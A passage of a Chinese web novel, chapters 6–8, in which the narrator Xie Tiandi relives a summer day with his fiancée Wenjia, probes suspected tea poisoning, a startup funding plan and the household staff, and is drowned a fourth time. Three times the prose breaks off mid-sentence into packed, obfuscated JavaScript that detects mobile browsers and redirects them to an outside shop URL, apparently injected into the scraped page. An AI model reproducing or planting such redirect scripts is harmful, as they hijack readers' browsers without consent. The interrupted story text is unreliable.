这次我甚至听到了,你将头探出水面后说的第一句话:“我说过,我自己会动手的,不需要你。” 你缥缈的声音,隔着水面,像隔着阴阳两个世界。 我瘫软在水底。 意识在消散,烦恼在远别,灵魂在下坠。 更黑的黑暗,更静的死寂,更刺骨的冰冷,更深的地狱。 一切归零。 以上是我第三次死在你的手上。 明明我如此深爱着你,为什么你会怀疑我的爱不是真的?到底是谁在怀疑我的爱不是真的? 明明我已经充分做好准备,为什么还是没有守住底线,白白枉送了性命? 这次你的杀心动于何时?是不是因为我当着你的面,反复输错水果密码?这样的行径确实可疑,但我是真的不知道水果密码,这又让我如何有机会逃脱被你怀疑的宿命? 还有,你的最后一句话,是对谁说的?边叔吗?莫非真的如曼姨示警,边叔才是真正的幕后主使? 无论如何,如果上天再给我一次机会,我一定要向你证明,我对你的爱,不容置疑。 忘川冰封。彼岸花开。地狱无门。 瑞不忒杠乂复。 执念不消,灵魂不灭。 混沌的宇宙中,一团物质一生悬命旋转,凝聚,塑形。 我的意识,快马加鞭重装上阵。 你的一口仙气一注入我的口中,我便急忙睁眼,望向泳池边的液晶挂钟,果然,完了,2010年8月24日。 我这眼睛一闭一睁,又是一年就过去了! 不必心存侥幸了,我的人生的的确确正以365倍速快进!!! 不对,还不止365倍,我经历的三个所谓的一天都是重度注水,基本上就只是三个半天而已。 所以,我的人生实际上正以800倍速快进!!! 此刻,跪骑在我身上的你,我完美无缺的维纳斯,正惊喜地俯视着我,满眼星星地期待着。 我却赶紧重新闭上了双眼,大脑超频运转。 你已经杀了我三次,但也救了我三次,我还能信任你吗? 不对,我似乎犯了一个错误。 6. 第四杀 你似乎是,先救了我三次,然后又杀了我三次? 这有区别吗? 别纠缠细节,还是同样的问题,我能信任你吗? 还是不对。 你实际上一共救了我四次,只杀了我三次。 所以,至少现在这条命,还是你给的,这么算的话,我可以信任你了吗? 我重新睁开双眼,开门见山:“我爱你,雯佳,对不起,我失忆了。” 你的笑容瞬间凝固,神情紧张地站起身来:“天迪,你怎么了?脑子进水了吗?骗我玩的吧?” 我故作潇洒,像前三次一样,想来个鲤鱼打挺,不料却只是在地板上扑腾了一下,我不服再试,还好,这次勉强成功站了起来。 被杀了三次,我这次好像真的有点累了。 你笑着安慰我:“学习学傻了吧,是我冤枉你了?看来你这次难得地没撒谎欸,这一年是真的用功读书了,把身体都给熬坏了。没关系,以后我陪你去健身房加强锻炼。” “雯佳,请相信我,我真的失忆了。我们先回室内,你听我慢慢说。” 我拉着你的手,快步走向别墅。 仲夏八月的花园,绣球花缤纷盛开,百合花妖娆怒放。 似锦繁花中,你瞥了我一眼表情凝重的脸,冷不防说道:“你知道吗?绣球花是最会撒谎的花。” 我不明所以,但没有停步:“为什么这么说?你看它花瓣又大又多,颜色又这么鲜艳,花如其名,像绣球一样,给人的观感是活泼喜庆才对吧。” “你错了,你眼中美丽多彩、夺人眼球的,根本就不是花瓣,而是花萼。” “哦,那确实骗到我了,但是也没有伤害到谁吧?” “有啊,蜜蜂。可怜的蜜蜂,绣球花不但花蜜少,而且还有毒。” 我不响,欲加之罪,何患无辞,花草也不能幸免。 你却还要继续借题发挥:“绣球花不但爱撒谎,还善变。绣球花的颜色会随着泥土的酸碱度改变,你今天见它是红色的,明天却可能又变成蓝色的了。” 说到这里,你停下脚步,强拉住我,仰脸认真地看着我:“我最讨厌被人骗了。你如果哪天不爱我了,就直白地告诉我,不用担心我,我能承受得了。但是如果,你敢骗我,我就杀了你。” 酷暑盛夏,我却打了个寒战,因为我知道,这不是虚言。 我赶紧也满脸认真回答:“我怎么可能骗你,我以前从来没有骗过你,将来也永远都不会骗你。” 你轻轻摇头:“真的吗?你能确认吗?那我问你,我故意说七月十五日牛郎织女相会,你怎么都没纠正我?怕得罪我?就算是你因为怕得罪我才撒谎,这样明显的事实,你都患得患失不愿意讲真话,我还怎么敢相信你呢?” 这于我只是三天前的事情,于你却是三年前的事情。你的记忆力让我不得不佩服,和惊惧。 我当初就猜到可能是个陷阱,却没想到是这样的陷阱:大家一起来找茬。 别墅,怎么好像果然又意外变小了一圈,只剩下三层了。 别墅门口还是站着曼姨和边叔,黑白无常般,面色阴森可怖。 我走过边叔身边,我的耳朵正好与他的嘴巴直线距离最短时,他突然开口了,声音轻柔缓慢却字字清晰:“你活不过今晚。” 我心中一凛,停住脚步:“你说什么?” 边叔面不改色:“你听到什么了?” 我一愣:“你,是你要杀我吗?” “我没说过。” 我加了点技巧继续追问:“你为什么要杀我?” “你去问谢长卿。” 我一脸懵逼:“谢长卿是谁?” 面如泥塑的边叔终于有了表情,像见了鬼一般的惊诧莫名。 你在一旁更惊讶,食指又不自觉放在唇间轻咬:“天迪,谢长卿是你爸爸的名讳!天迪,难道你没骗我?真的失忆了?!” 边叔插话:“哼,装疯卖傻。” 你不满地剜了边叔一眼:“你一直让我不要多疑,我看你自己才是疑神疑鬼吧。你一直都怀疑天迪的项目,可是半年有了吧,你什么证据也拿不出来。” 边叔冷静地辩解道:“再给我点时间,真相只有一个,没人能永远隐藏。” 你不耐烦地打断边叔:“好了啦,我的事情不用别人管,连我爸妈都不可以,更轮不到你插手!” 我推开浴室门,果然,淋浴间只剩下一个了。 你很自然地邀请我一同去,于是一同去。 节约用水,人人有责。 不过这么一来,就肯定不用指望曼姨进来通风报信了。 当然啦,鸳鸯浴期间,我也不欢迎外人过来打扰。 咫尺的空间内,我们暂时忘却烦恼,恣意彼此欣赏,纵情互相取悦,一起在蒸腾水雾中嬉笑欢娱。 快乐很难吗?对相爱的人而言,快乐的成本其实可以很低廉,我只需要你,你只需要我,除此之外都可以与快乐无关。 淋浴完,互相帮着穿好衣服,我们不约而同肩并肩站在梳妆镜前。 你穿一件珍珠白改良旗袍,凸显婀娜曲线,我穿天青色背心搭牛仔热裤,凸显大长腿。 我认真道:“你看我们今天穿得像不像白娘子和小青。” 你调笑道:“对,你是大长腿小青,里面住着个书呆子许仙。” 我笑着回击:“那你就是大胸白娘子,里面住着个多愁善感的林黛玉。” 客厅里,还是那个场景,曼姨对着手机独白,手机是我用过的那部白色IPHONE3G。 果盘换回了西瓜,却没有做成笑脸,只是普通的切片。但是摆盘很艺术,绿色的瓜皮,正好构成一条斐波那契螺旋线。 不过值得质疑的是,曼姨不太可能懂得斐波那契螺旋线吧。 茶几上仍然摆着两杯热红茶,我刚端到嘴边,脑中突然回想起自己泳池中最后一刻酥麻无力的异样感觉,于是轻轻将骨瓷茶杯放回杯托中。 虽然我并不能肯定红茶有问题,但总是小心为妥。 天性敏感多疑的你肯定注意到了这个细节,但是缄默不语。 支走了曼姨,在我的再三央求之下,你才勉为其难简短地讲解了我们的故事,虽然还是美得离谱像童话,但已经不那么像童话了。 我家是我六岁时搬过来的,我们才知道我们的父母是旧交,当年我们的母亲同时怀孕后,便将我们指腹为婚,而且我们还碰巧同一天出生。有了这样的先天缘分,我们自然而然就成为了最好的朋友。从小学到初中到高中,我们都是同班同学,关系越来越好。上一辈的指腹为婚,也从两人间的玩笑,变成了认真的诺言。 大学你上的是优国哈佛,而我上的是哈佛魔都分校,我本打算通过学校三年级的交换生计划,与你在优国哈佛重聚,却因为沉迷你的美色,无厘头地错过了原本只是走个形式、傻子都能过的交换生选拔考试。 我们两人都因此被父母责骂和处罚,我成年后第一次被父亲痛打了一顿。 我痛定思痛,决心浪子回头,用自己的努力和优秀,争取大学毕业后去向的自主选择权。虽然你还没拿定主意,大学毕业后去哪里,但是,不管你去哪里,我都必须能紧紧跟上。 因此,过去这一年,我基本上都在悬梁刺股,囊萤映雪,刻苦用功。 当然了,代价就是,这一年我们聚少离多,你对我的猜疑也积少成多。 以上是你口中的我们的故事,第四个版本。 你幽怨,我们都快变成牛郎织女了,一年只有寒暑假才能相聚。 我无奈,天天陪你,你怪我不求上进,好好用功,你又怪我不理你。 你的故事讲完后,便到了提问环节。 我提的第一个问题就是:“你之前跟边叔提到的,我的项目是什么?” “唉,我只能权且相信,你是真的失忆了。准确说,那是我们两个人的项目,叫子虚文学网,我们计划合伙开一家公司,你负责技术,我负责市场。” 我一头问号:“什么技术?怎么我还会软件编程?” 你从茶几上捡起一本《Java编程十八层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这就是我们项目的核心,通过读者互动和系统算法,决定小说曝光机会。本质上是一种人工智能,正好与你的专业和兴趣方向高度契合。” “我这么能干?这跟我爸——谢长卿?他怎么跟那个渣男司马相如同名?又有什么关系呢?” 你无可奈何地摇头:“敢这么说自己老爸,我只能相信你是真真地失忆了。你爸评估这个项目需要投资两个亿。” 我吓了一跳:“两个亿?要这么多?” “对,而且还只是种子资金的融资目标。” “我们谁负责融资?” “你。” “什么?我还会融资?” “什么是SWAT?” “Strength,Weakness,Advantage,Threat.” “什么是4P?” “Product,Price,Place,Promotion.” “什么是3F?” “Family,Friends,Fools.” 我居然会这么多?好吧,我开始相信自己,真的是个立志投身互联网创业大潮的热血青年了。 可是,两个亿的融资目标也太离谱了吧,我毫无信心:“哪里会有这么好的家人、朋友或者傻子,能给我们两个没毕业的年轻人,投两个亿?” “我也觉得没可能,如果一定要说有可能,当然只有我们双方父母了,你爸说了,如果我爸愿意出一个亿,他就出另外一个亿。” 我挠挠头:“你先帮我补补课吧,我们家都这么有钱吗?你爸和我爸都是干什么的?” “我们家族很多代了都是做金融和外贸的,算是红顶商人吧。至于你们家的情况,其实我也不太清楚,据说是靠做比特币暴发的。” 我皱起了眉头:“不可能。今年是2010年对吧?比特币一个才几分钱,靠比特币,是绝对绝对发不了财的。” “不可能吗?对哦,十几年前根本都还没有比特币欸。我记得好像是听曼姨说的,要不我再问问曼姨?” 你的记忆力极好,你都记不清楚的事情,那就相当相当可疑了。 我们叫来曼姨对质,曼姨支支吾吾,只说,很多年前的事情,她也记不清楚了。 难怪边叔会怀疑我爸,莫非,我爸的财产来历不明? 7. 第四杀续 先回家看看吧,奔驰SUV不过四分钟车程,其中包括车子真正开起来之前,我找各种按钮先花了半分钟。 我家的别墅也只有三层了。总之保持与你家门当户对。 走进我的卧室,门一关,两人就心有灵犀,激情相拥。 尽兴之后,两人才开始进入正题,打开我的电脑查看文件和邮件。 你礼貌性地问了一句:“我不方便一起看吧?” 我毫不迟疑表态:“方便方便,一起看,我对你绝对没有任何秘密。” 我找到了子虚文学网商业方案最早的版本,只有三页纸的WORD文档,一期融资金额是两百万。 我继续查看后续的商业方案版本,融资金额随着版本号增长逐级提高,最后的V18融资金额已经变成了——两个亿。 我接着又查看了子虚文学网的系统代码,也不知自己何时学过Java编程技能,我居然很快搞懂了所有模块,点击运行。 原来我已经开发出了子虚文学网的演示版本。 我随便试用了网站系统功能,虽然粗陋,却也已具雏形,吸引我注意的一个特色功能是,作家可以上传手写稿,系统OCR自动识别转换为电子稿,这样会方便线下作家转型线上作家吧。 整个网站上只有四篇小说,而且都只有前三章,分别是四个用户发表的。不出意外,头两个用户是我和你。也不算意外,另外两个用户是卓曼罗和边永沙。我和你发表的分别是科幻和言情小说,边永沙的是一篇新武侠,这三篇一看便知都是应付差事的作品。只有卓曼罗的一篇悬疑小说,虽然很多奇怪的错别字,但看上去却是真正用了心思的。小说的名字叫《爱死你了》,情节非常狗血,讲的是一对有明显抖S抖M倾向的恋人,抖S无故怀疑抖M,抖M竭力自证,抖S仍痛下杀手,抖M怨气不散重生,再次搏命证爱。 我又查看MYSQL数据库,打开用户信息表,发现了可疑之处。 我自言自语:“这也太诡异了吧,四个用户的密码一模一样。呃,可能是统一设置的吧。” 你却在一旁纠正:“不对,我记得很清楚,当时我们四个人是分别设置的密码。你跟我使用同一个密码,我觉得还是能想得到的。曼姨和边叔也使用同样的密码吗?不可能欸,你会不会搞错了?” 我自信地说:“不会错,我自己不记得密码,你不要告诉我,我现在破解出密码给你看看对不对。” 我已经看出密码一列用的是MAC加密,虽然乍一看是毫无规律的一串乱码,但是四个用户密码的乱码完全一致,唯一的可能就是,四个密码原本就完全相同。 我当场使用MAC在线破解工具破解出了密码原文。 我问你:“密码是不是Kiss20070827?难怪我们两个人的密码相同,不就是我的水果密码嘛。” 你惊讶:“不可能欸。存在数据库里的用户登录密码,真的这么容易破解?我和你碰巧用了这同一个密码还是蛮合情合理的,但是,曼姨和边叔怎么可能也使用这个密码?也太匪夷所思了。” 四个用户使用相同的密码,而且是如此复杂和明显带有一个日期的密码,确实匪夷所思。似乎有一种可能是,卓曼罗和边永沙那一天看到了我们在水下深吻,因此不约而同使用这一事件作为他们的密码,这也太搞笑了吧?或者还有一种不可思议的巧合,卓曼罗和边永沙也在同一天发生了一次重要的亲吻?什么亲吻这么重要又正好两人同一天呢?难道是这两人之间的初吻? 哪种可能都很不可能,我非常困惑:“边叔和曼姨有奸情吗?” “你才和曼姨有奸情呢,不要说奸情这么难听好吧,你还没当老板就已经资产阶级思想这么严重啦,下人都不配有自己的爱情了吗?边叔确实很多年来一直对曼姨有意思,但是属于那种,落花有意,流水无情吧。会不会三年前发生过什么,我没看出来?嗯,有可能欸。” 床头电话响了,我接起来,这次我听出来了,是我的父亲,与西汉著名渣男司马相如的本名重名的谢长卿:“天迪啊,我们对齐一下,融资进展怎么样啊?雯佳爸爸那边有消息了吗?” 我怎么回答,我自己也还在忙着跟自己对齐呢,只能含糊其词:“还没确定消息呢。”然后我反守为攻,“爸,你那一个亿什么时候到账?” 谢长卿的声音立马提高八度,明显被我激怒了:“我怎么教你的,种子资金要找什么人?” “记着呢,3F啊。” “你看你爸像傻子吗?” “3F第一个就是Family啊。” “你是狗熊掰玉米,一边学一边忘啊,找种子资金,集3F于一人才是理想对象。” “一个人同时是家人、朋友和傻子?哪有这种人啊?” “卓贤豹啊。” “卓贤豹?” “对,卓雯佳的爸爸,”谢长卿这话让我一惊,我想提醒他,但谢长卿越说越激动,不容我插话,“你未来的FATHER-IN-LAW!你这一年天天泡在卓家,又是修电脑杀病毒,又是编软件敲文档的,你都快变成他们家的孩子了,卓贤豹也一直跟我夸你能干懂事,结果呢,你们这是谁给谁在画大饼呢?” 我好不容易抓到他喘息的机会,赶紧小声提醒他:“雯佳就在我身边呢。” 电话里短暂停顿了一下,然后责骂继续:“你个讨债鬼,怎么又把她带到你卧室来了?你还没被她爸爸骂够吗?行啦,我也没什么需要瞒着她的,你别鬼鬼祟祟的,否则人家反而会怀疑你别有用心。自信点,我早就表过态了,卓贤豹先投一个亿,我就跟一个亿。放心,我在优国的上市公司股票就值十个亿,他投多少,我就跟多少。” 回到你家午餐,饭后午休时间,我们又温存厮磨了一轮之后,相拥入眠。没几分钟,我就又醒了过来,你则因为优国的睡眠时差未改,还沉沉睡着。 我轻轻从你的颈下抽出自己的右手,悄悄出了门,走下楼梯。 厨房中,卓曼罗只穿一件玫瑰紫的吊带,背影轮廓圆润,吊带衫略短,紧身牛仔裤是低腰款,露出一截酥腰,腰骶骨处的皮肤上散列着些许朱红色放射状的线条,半遮半掩,若隐若现,疑似一个蜘蛛纹身。想不到有钱人家的保姆竟也这般前卫。 卓曼罗将十几个圆球丢进榨汁机中,那圆球几分像洋葱,又几分像大蒜,然后卓曼罗启动榨汁机,机器嗡嗡轰响,完美掩盖了我快步走近的声音。 我已走近卓曼罗的身边,她却浑然不觉,专注工作。榨汁机疯狂抖动,带动她胸前两只熟透了的木瓜,跟着乱颤乱晃。 我自言自语疑惑地问道:“这是什么?” 卓曼罗吓得尖叫一声,扭头见是我,旋即转为惊喜:“也太巧了吧!我今天一直都在找机会跟你说话!我就知道,我们心有灵犀,你一定会来找我的。” 我礼貌地一笑,又问了一遍:“曼姨,这是什么果汁?” 榨汁机榨出的液体不红不紫不黑不蓝,说不清是什么颜色。气味也说不出的怪异,有种我从未闻过的异香,但香中又带苦,苦中又带甜,甜中又带一点点辛辣。 “这是彼岸花的鳞茎,帮边叔榨的。” “什么用途?” “不清楚,十有八九是用来配凉茶吧,他是佛山人。” 我切入正题:“你是不是有话要对我说?”每次重生,曼姨都急着向我通风报信,这次也肯定不会例外吧,我与其等她开口,不如自己主动询问。 卓曼罗大吃一惊,瞬间脸涨得通红:“你看出来了?我,我,我……” 我直觉卓曼罗似乎想歪了,不会是以为我看出她对我有意了吧,只得进一步明示她:“关于边叔的?” 卓曼罗这才勉强镇定下来:“对对对,我要提醒你,在卓家走动,一定要注意人身安全,边叔酒后曾经跟我吐露,他要杀了你,我劝他的,劝也没用。” “为什么?” “不知道,他只说你对卓家不利,没有细说。总之你小心,边叔人狠话少,心机深,功夫了得。” “那你为什么愿意告诉我这个外人呢?” 卓曼罗的脸上又飞起两朵红霞:“我相信你啊,你这么美、这么乖巧的小孩,能有什么坏心眼呢!” 我感到了深深的尴尬,赶紧切换话题:“曼姨,听说你的理想是当个作家?” 卓曼罗显出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030617|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女般的羞涩忸怩,与熟透了的妖娆体态很不协调:“我的偶像是西汉才女卓文君,她克死了第一个老公,却还能勇敢追求新的男人,不顾忌名门才女身份,当垆卖酒,感动了父母,凭自己的努力,赢回了幸福人生。” “我看过你在子虚文学网的小说,蛮精彩的,我很好奇,主角重生后,有没有成功将BE改成HE呢?” “不怕你笑话,我自己都不知道呢。我本来是想写成幸福的结局,有人却说,这样的故事太假了,没人会看。”卓曼罗为难地轻咬食指,显然很难抗拒那个人的质疑。 原来,卓曼罗与你有同一个小毛病,一紧张焦虑,就会啃自己的指甲,这叫咬甲癖,一般是有完美主义倾向的小孩子才会有的毛病,长大了应该能自愈才对。 “放心,我会看的,我支持你,曼姨,就按HE继续写好了。我看你的小说中,好多错别字错得很离奇,所以我猜,你发表小说用的是上传手稿、系统识别的方式,对吗?曼姨,方便把你的手稿给我看看吗?” 卓曼罗慌忙将手指从唇间抽出,连连摆手:“不要了,我乱写的,写得不好,等我改好了再给你看。” “拉勾,那可说好了,你改好了一定要给我看。” “拉勾,一定,骗你下地狱。”卓曼罗的这个誓发得够有诚意了,就是对自己忒狠了点。 我转而又问道:“2007年8月27日,发生过什么事情?” 卓曼罗面露惊色,舌头打结:“没,没有啊。” 她否认得如此坚决,我反而确信那天一定有事发生了:“提醒你一下,跟边叔有关。”我故意暧昧地用食指抚摸自己的嘴唇。 卓曼罗脸涨成猪肝红,但仍继续矢口否认:“没有,没有,没有!” 然后我的心里已经有了肯定的答案:“算了,不用说我也知道了。” 这下轮到卓曼罗对我泛起了疑心,她又焦虑地咬起了指甲:“你知道什么了?为什么会这么问我?” 我只是淡淡一笑,又切换了话题:“下午茶取消吧,让雯佳多睡会儿。” 卓曼罗忙回答:“这个暑假一直就没有安排下午茶啊,雯佳怕来回倒时差麻烦,下午都要睡觉的。” 我潜回你卧室时,你还在酣睡。 我脱掉衣服,重新在你身边躺好,静静欣赏我的睡美人。 梦中的你,皱着眉头,似乎心事重重。 我伸出一只手,试图帮你抹平眉心的褶皱。 你突然闭着眼嗯嗯惊叫,我忙环抱过你,轻拍你的后背。你马上安静了下来,迷蒙的双眼半睁半闭。 “女神也会做噩梦啊?” “嗯,梦见你又骗我,跟别的女人跑了。”你抱紧我。 “放心吧,雯佳,我这一辈子,只爱你一个人。”我抱紧你。 两人复又温存片刻后,电话响了,晚餐时间。 你穿好衣服,递给我一件礼物,是一年一个新版的IPHONE,今年已经出到4了:“给你带的优国土特产。你把上次那个3GS还给我吧,我送给边叔。” “好,我先清一下存储。” “删照片?为什么?有什么不可告人的秘密吗?拿给我来删吧。” “怎么可能呢,我对你绝对没有任何秘密,那就辛苦女神了,密码你知道的。” 你左右翻阅照片,基本上不是你的单人照,就是我们两人的合照,你的脸色渐渐舒缓下来。 继续翻着照片,突然,你的眉头又皱了起来:“你为什么要偷拍曼姨?还不死心吗?” 我凑过去一看,原来是一组卓曼罗的照片。背景我认识,刚刚我才去过,是厨房。照片上,卓曼罗也是穿着那件紫红色的吊带衫。大部分照片都是背影,却也有几张侧面,甚至有一张,是□□半露、风情万种的回眸一笑。 我不记得拍过这组照片,但也无法抵赖,就是我拍的。 我还能怎么解释呢? 如果是别的同龄人也就算了,但是曼姨,未免也太超现实了。 我只能如实交代罪情:我失忆了。 你的嘴角勾起一丝寒意彻骨的冷笑:“很好的借口,天才的借口,万能的借口。” 8. 第四杀再续 晚餐还是只有我们两个人,你父母都在优国忙生意。 还是中西融合的晚餐,但西餐的比重比去年又更高了。 饮料还是冰红茶,杯具还是一圈圈花卉横纹的玻璃杯,还是沉四粒冰块,浮一片柠檬。 我看着总觉得哪里不对劲,但又说不出来。。 你终于注意到了:晚餐已经快结束了,我杯中的冰红茶还一口没动。 你头也不抬,冷嘲热讽地说道:“再好的茶,也总有喝厌的那一天吧。” 我忙辩白:“不会的,你喜欢的就是我喜欢的。”玻璃杯已经慌忙端到嘴边,却仍是不敢张口。 你撇嘴冷笑:“那就是怕我们卓家给你下毒啦?” 我惊得全身一僵,玻璃杯差点从手中滑下。 你伸手夺过我手中的玻璃杯,喝下一口,然后将自己那杯已经喝了三分之一的冰红茶,沿着平滑的桌面,猛然推到了我的面前:“你喝我的,肯定没毒了吧?你不会又嫌弃我喝过的杯子吧?” 我忙不迭端起你的杯子,故作豪爽地仰脖牛饮了一大口。 我有种预感,我这次重生又失败了,未能挽回你的信任。 果然,晚餐结束,宣判时间到了:“今天是个特别的日子,中元节,天迪,不知不觉,我们已经有了,属于我们自己的中元节传统了,你不会忘了吧?” “没忘!”我脱口而出。 那当然,我死了也不会忘,死了也忘不掉。 我这趟重生已经足够小心,或许有机会逃过一劫吧,还等着看卓曼罗《爱死你了》的结局呢。 再则说,就算死了又如何呢,又不是没死过。 坦然上法场受刑,但心底却暗自期待着有人喊出“刀下留情”。我就是怀着这样的矛盾心情,跳进了泳池。 一轮圆月,三五点星光,大半个夜空的留白。 你背靠泳池站定,挑衅地仰头看着我,红唇微启,你的美对我仍然是无法抗拒的致命诱惑。 我忍不住凑了上去,企图用自己厚厚的唇,捕捉你薄薄的唇。 你却双手用力推开我:“你向后退七步!” 我莫名其妙,没有反应。 你不容置疑地重申:“后退七步。” 我乖乖地在池水中,哗哗哗哗哗哗哗,小心翼翼向后退了七步,站定。 只小小的七步,我们相距并不远,实际上还很近,但是现在,我只能看着你,触摸不到你了。 这是记忆中的第一次,我在你我之间,感受到了陌生人才会有的那种距离感。 你展颜一笑,用我熟悉的、领读课文的铿锵语调,大声说道:“天迪,听说过曹植七步成诗吧?我现在也给你最后一次机会,七步之内,作一首情诗给我。” 我本能地质疑:“作不出呢?” 你语气半真半假,像是在开一个玩笑:“那我就,杀了你。” 我却寒毛竖起,因为我知道,这根本不是玩笑,已经三次了,你肯定说到做到。 早知道这七步就是自己今天终战的血条,我好歹后退时步子迈大点也好啊。 我心慌意乱,你还要不断催促我。 明月当空,美人当前,欲望如火,柔情似水,此景此画,确是配有一首题诗的。 可是我哪里会写诗呢,这辈子不要说情诗,连打油诗也没有写过啊,我的语文成绩本就一直远不如你。 说起来惭愧,我们的爱情,是属于那种青梅竹马,水到渠成,我一次也没给你写过情书,连一句像样的土味情话都没有说过。 我大概确实欠你太多了。 但,即便如此,也不至于索命偿还吧? 以上是我七步之内的胡思乱想。 现在已然是七步之后,我又站在了你的面前。 我的眼中满是自责和后悔。 你的眼中满是恼恨和悲凉。 你嘴唇哆嗦了一下,吐出两个字:“吻我。” 我愿赌服输,甘愿就吻。 我追随你的一点红唇,沉入水中。 时间飞逝,两舌如蛇纠缠,唇齿碰撞攻防,血氧快速衰减,我在天堂与地狱的边缘,疯狂试探极乐的底线。 突然,酥麻无力感再次袭来,很快弥漫全身。 我还是中毒了吗?可是我这一次,上午没有喝红茶,晚餐喝的也是你喝过的红茶,还有什么机会被下毒呢?如果我没有中毒,为什么全身的肌肉都不服从大脑的指挥呢? 你将我无情地推倒在池底,还要杀人诛心,补上那一句,我已经听过三遍的判词。 “你不爱我!你不爱我!他们说,你对我的爱,根本不是真的!” 以上是我第四次死在你的手上。 我虽然深爱着你,却无法让你感受到我的真心。 怨天尤人于事无补,我该认真反省自己的问题了。 对不起,是我爱得不够深,说得不够多,做得不够好。 亲爱的,还能再给我一次机会吗? 还是必须搞清楚,究竟是什么成为了压垮骆驼的最后一根稻草?是那组卓曼罗的偷拍照片吗?我怎么会这么变态,偷拍你家的保姆呢? 想到这里,我突然灵光一现,有没有这种可能,我偷拍的对象根本就不是卓曼罗,而是卓曼罗当时正在处理的那堆紫红色的圆球——彼岸花鳞茎?只是因为被卓曼罗发现了,我才佯装在偷拍曼姨? 然而一切都已太晚,没有机会向你解释了。 恍惚间,两股力量分别拉着我的两只手,将我从泳池倏忽间拔起,速度之快,连一个水花也未曾溅起。 我凝神一看,两道人影,一黑一白,一瘦一胖,看背影依稀是边永沙和卓曼罗。两人一左一右,分别拽着我一只手腕,急急前行,我全身绵软,毫无气力,完全是被他们二人拖在地上前行。 我心中重又燃起求生希望,朝着左右两边分别热切招呼:“边叔,曼姨,是你们救了我吗?” 黑瘦人影头也不回继续疾行:“谁是你边叔,我是老默。” 白胖人影接茬:“我是大白。我们是黑白无常,专程接引你去地狱。” 我愕然,急回头望,方才彻底死了一条心。 我的尸身尚在池底,面朝天倒卧,四肢四仰八叉舒展着,随着水波飘飘荡荡,越漂越远。 你在池边跪着,披头散发,哭喊来人。 边永沙和卓曼罗从远处狂奔而来,边永沙先一步赶到,来不及脱衣服,一个猛子就扎入池中。 既然没了希望,便连绝望和悲伤也没有了,我反而心如止水,跟黑白无常聊上了天:“这位老默大哥,你为什么与边叔长得这么像啊?” 老默只顾埋头向前,无暇理我:“谁是你大哥,你男女不分。” 大白接话:“我等俱是你意念幻化,本无定形完体,当此时为何生成这般模样,须要问你自己。” “去什么地狱?不会是西方的硫磺火湖地狱吧?”我想起你的警告,那是撒谎的人死后受刑的地方。 老默不理不睬,还是大白耐心:“地狱何曾分过东方西方,超能宇宙唯有一处大一统地狱,只不过,每个人的心中都有一个自己的地狱。” 不明觉厉。 老默冷不防质问:“你是个撒谎精?” 我被说中心事,吓得一哆嗦:“也不能未审先判吧。” 还是大白友善一些,在一旁打圆场:“年轻人,不必担心,人间关于地狱的那些传说,基本上都是好事之徒臆想出来的,不然呢,什么人要犯下多少种罪孽,才能见识那么多花样的地狱?况且,现在都二十一世纪了,地狱也会与时俱进的。” 转瞬我已经被挟持来到一处茫茫旷野。 不远的面前,是一条大河当道,对面沿着河岸尽是一片火红的花,俨然一条并肩而行的血红的河,再远,便是浓重的黑雾,黑雾遮天蔽日,一切皆不可见。大河这一边的地势,沿河往一个方向高,往另一个方向低,高的那个方向,似乎越远越光亮,隐约是一个山坡,铺满洁白的花朵。 老默毫无征兆地停住脚步:“糟了,今日等得心焦,走得匆忙,走时竟然忘了核对事主姓名。” 大白接话:“不慌,这位事主,请问姓名可是谢添弟?” 我疑心自己耳背:“什么?我叫谢天迪。你刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030618|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才念我的名字用的是哪里的方言吗?” 老默焦躁起来:“怎么?当真忙中出错了?这可怎生向阎王交差。” 还是大白镇定:“你这改不了的急性子。”从怀中取出一个智能手机,给我咔嚓来了张照片,然后飞快点按了几下,“没错,就是谢添弟。前面就是忘川河了,我们快点走吧,千万别误了阎王亲审。” 我怎么可能叫谢添弟?听着像中原某地乡下人才会取的名字。而且我咋还连自己的名字都不知道了呢?难道原因还是在我自己身上,我自己心中的这个地狱,口音就是这么奇怪? 核对无误,两无常于是各将一只手伸到我腋下,牢牢架住我,向大河方向疾行。 这个姿势比刚才舒服多了,我不用自己走路,这就难免人闲话多:“您刚才的意思,我死之前,二位就已经等候着了?” 老默哼了一声:“你下午四点就该死了,言而无信,硬是拖到晚上七点才死。” “哦,那您二位有没有看到,有人在红茶中投毒?” 大白意外:“咦,你原来不傻啊?那你为何明知道有毒,还要喝下呢?” “我没看出如何投毒,难免心怀侥幸。” 大白欲言又止,还是老默爽快:“无甚大碍,你还怕泄露天机不成,早晚一碗孟婆汤了断一世恩怨情仇。” 大白于是说出了目击的真相:“嗯,不说我也憋得慌,还真是像魔术一般机巧。确实是红茶投毒,你不想先自己猜猜看,是怎么做到的?” 我果断回答:“不想。”我如果能自己想得出来,还需要白白搭上一条命嘛。 